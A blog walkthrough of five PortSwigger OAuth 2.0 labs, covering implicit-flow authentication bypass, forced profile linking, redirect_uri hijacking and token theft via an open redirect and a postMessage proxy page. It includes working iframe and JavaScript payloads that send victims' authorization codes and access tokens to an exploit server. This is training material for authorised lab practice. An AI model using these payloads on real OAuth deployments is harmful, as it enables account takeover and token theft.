Hello folks,
This blog centers on the identification and exploitation of vulnerabilities within OAuth Authentication functionality, specifically focusing on the OAuth 2.0 version. It features an in-depth walkthrough of PortSwigger’s labs, where you can explore OAuth Authentication in more detail.
You can check out the PortSwigger’s labs for OAuth Authentication.
Before proceeding with the labs, I will be explaining about the concept of OAuth Authentication mechanism.
OAuth is a widely adopted authorization framework that empowers websites and web applications to solicit restricted access to a user’s account on a different application. The fundamental OAuth process is extensively employed for incorporating third-party functionality, which necessitates access to specific data from a user’s account.
It operates by orchestrating a sequence of interactions involving three separate entities: the client application, the resource owner, and the OAuth service provider.

• Resource owner: This is the user whose data the client application intends to access.
• Client application: This refers to the website or web application seeking access to the user’s data.
• OAuth service provider: This entity controls the user’s data and access permissions. They facilitate OAuth by offering an API for interacting with both an authorization server and a resource server.

Now we know about OAuth, it’s time to start identifying and exploiting vulnerabilities.

Lab 1- Authentication bypass via OAuth implicit flow

In this lab scenario, we will explore the bypassing of the authentication process by exploiting OAuth’s flow and understanding its vulnerabilities. Our aim is to identify weaknesses that would enable an attacker to gain access to any user’s account without requiring their password.
Click on the “ACCESS THE LAB” button and launch Burp Suite.

Click on “My Account” and login with our Social Media Account credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to Authorize the access of our data to the Client application.

We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite, and we can see different requests that were sent throughout our OAuth Authentication process. In order to identify a vulnerability in the OAuth flow, we need to find an endpoint where we have sent a request with our details and a security token that we received from the OAuth service provider.
Over here, there is an endpoint “authenticate” which contains email, username, and token as body parameters in a POST request.

Let’s take this request to Repeater and then simply try to exploit this vulnerability by changing the email and username with the victim’s details. Now simply send the request.
You will find a response with 302 status code which confirms that we have successfully logged in as victim user i.e. carlos.

Now right click on the response and select the “Show response in browser” option which provides a URL. Click on “Copy” to copy the URL and paste it on your browser.
Now click on “My Account”. We will find that we are logged in as carlos user. Hence, we have solved the lab.

Lab 2- Forced OAuth profile linking

In this scenario, we will learn how we can try to link our social media profile with another user’s account so that we can access their functionality and perform malicious activities. This vulnerability can be performed if the authorization request does not contain a state parameter. This implies that attackers have the potential to initiate an OAuth flow independently and then deceive a user into completing the process.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and login with your client application credentials wiener:peter. Also, you will find a “Login with social media” button which will help us to login with the help of our social media account once we have successfully linked our client application account with a social media account.

We are now logged in to the client application where we have an option “Attach a social profile”.

Let’s click on this and simply follow the steps to login with your social media account with the help of your social media credentials which will link your social profile with your account on client application. After completing the process we will find that we can successfully link our accounts.

Now in order to exploit this vulnerability, we need to generate a new code which remains fresh. So we have to logout from your account and then turn Intercept on. We can generate a new code by simply clicking on the “Login with social media” button. Go to the proxy tab and forward the request until you get /oauth-linking?code=
Now simply right click on the request and select “Copy URL”.

Go to the exploit server and create a payload using <iframe> tag like follows:

<iframe src=”Paste_Link_Here”></iframe>

Click on “Store” and then click on “Deliver exploit to victim”.

Now go back to the web application and try to login using social media by clicking on the “Login with social media” button. We will find that we have access to the Admin panel.

Now click on “Admin panel” and finally we have the option to delete the carlos user. Click on the “Delete” option provided in front of carlos which will solve the lab as well.

Lab 3- OAuth account hijacking via redirect_uri

Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Let’s generate a fresh request by logging out and again clicking on “My account”. This time we will turn Intercept on to capture the fresh request. Forward the requests until we receive /auth endpoint where we will change the value of redirect_uri to our exploit server to confirm whether this parameter is vulnerable and send the code to our exploit server. After making changes click on “Forward”.

We will check the access logs of the exploit server where we will find the code. This confirms that the “redirect_uri” parameter is vulnerable.

Now identify this request on Burp Suite and copy the URL of this request which we will use to deliver to our victim.

We will go to the exploit server and again use a <iframe> tag to provide this URL.

<iframe src=”Paste_Link_Here”></iframe>

We have to make sure that the “redirect_uri” parameter contains the URL of our exploit server. Now store the code and deliver it to the victim.

Now in order to access the code from the victim we need to access the logs of the exploit server again where we will find the code generated for the victim user.

Now we need to use this code to access the account of the administrator user. We can search a request to /oauth-callback endpoint on Burp suite where we will find a code parameter which helps the server to verify the identity of the user. We will simply send this request to Repeater and replace the code with the one we obtained on our exploit server from the victim user. Simply forward the request and we will find a response with 200 status code. Right click on the response and select “Show response in browser” and copy the URL.

Go back to the browser and paste the URL. Finally we will find the Admin panel using which we can simply delete carlos user from the website in order to solve the lab.

Lab 4- Stealing OAuth access tokens via an open redirect

In this scenario we will try to steal OAuth tokens by exploiting open redirect vulnerability. We can employ this as a proxy to redirect victims, along with their code or token, to a domain controlled by an attacker, allowing for the hosting of any malicious script of our choice.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Let’s generate a fresh request by logging out and again clicking on “My account”. This time we will turn Intercept on to capture the fresh request. Forward the requests until we receive /auth endpoint. Now try to identify a vulnerability like directory traversal. After /oauth-callback let’s try to provide a post page using ../post?postId=10 which should take us to postId 10.

Let’s forward the request and confirm on the browser. We will find that we are redirected to the post page. Also we can see that we have the access token mentioned in the URL fragment. We have to get this URL fragment.

To capture the URL fragment, we need to host a malicious script on our exploit server. Also there is another parameter which is vulnerable to open redirection vulnerability /post/next?path= where we can provide our exploit server URL as follows:

<script>
if (!document.location.hash) {
window.location = ‘https://OAUTH-SERVER-URL/auth?client_id= LAB-URL&redirect_uri=https://LAB-URL/oauth-callback/../post/next?path=https://EXPLOIT-SERVER-URL/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email’
} else {
window.location = ‘/?’+document.location.hash.substr(1)
}
</script>

Click on “Store” and then on “Deliver exploit to victim“. Go to the Access log and we will find the access token of a user.

Let’s now copy the token and try to access the information of the administrator user from /me endpoint. Send this request to Repeater and then replace the value of Authorization: Bearer with the one we got on our exploit server and send the request. And finally we got the “apikey” for the administrator user which we can submit to solve the lab.

Lab 5- Stealing OAuth access tokens via a proxy page

Beyond open redirects, it’s essential to search for any other vulnerabilities that enable the extraction of the code or token, which can then be sent to an external domain. If we can direct the redirect_uri parameter to a page where we can inject our own HTML content, there’s a possibility of leaking the code via the Referer header.
Let’s click on the “ACCESS THE LAB” button and open Burp Suite.

Click on “My Account” and we will automatically redirect to login with Social Media Account. So we will use our credentials wiener:peter. After validating the credentials the OAuth service provider will ask us to authorize the access of our data to the Client application.
We can click on “Continue” to log in to the client application and will find that we are successfully logged in.

Now, switch to Burp Suite and we can see different requests that were sent throughout our OAuth Authentication process. We will find a request to /auth endpoint where we have a parameter called “redirect_uri” which we have to target.
Also, we have to audit other pages on the blog website. We can observe that the comment form is included as an iframe on each blog post. Upon closer examination of the /post/comment/comment-form page in Burp Suite, we can notice that it utilizes the postMessage() method to transmit the window.location.href property to its parent window. Importantly, it allows messages to be posted to any origin (*).
So, let’s take the request for /auth endpoint to Repeater and edit the “redirect_uri” parameter. Add /../post/comment/comment-form after the /oauth-callback and send the request.

Now simply copy the URL of this request and go to the exploit server and host the following code:

<iframe src=”https://YOUR-OAUTH-SERVER-URL /auth?client_id=YOUR-LAB-URL&redirect_uri=https://YOUR-LAB-URL/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email”></iframe>

<script>
window.addEventListener(‘message’, function(e) {
fetch(“/” + encodeURIComponent(e.data.data))
}, false)
</script>

The below code adds an appropriate script that will listen for web messages and display the message contents in a designated location i.e. the access logs of the exploit server.

Click on “Store” and finally click on “Deliver exploit to victim”. Go to the “Access log” and we will find the access token of a user.

Let’s now copy the token and try to access the information of the administrator user from /me endpoint. Send this request to Repeater and then replace the value of Authorization: Bearer with the one we got on our exploit server and send the request. And finally we got the “apikey” for the administrator user which we can submit to solve the lab.

We really hope that the blog was informative for you in order to identify and exploit vulnerabilities related to OAuth 2.0 Authentication.
You can check out our other blogs on PortSwigger labs.

Happy Pentesting!!!
Team CyberiumX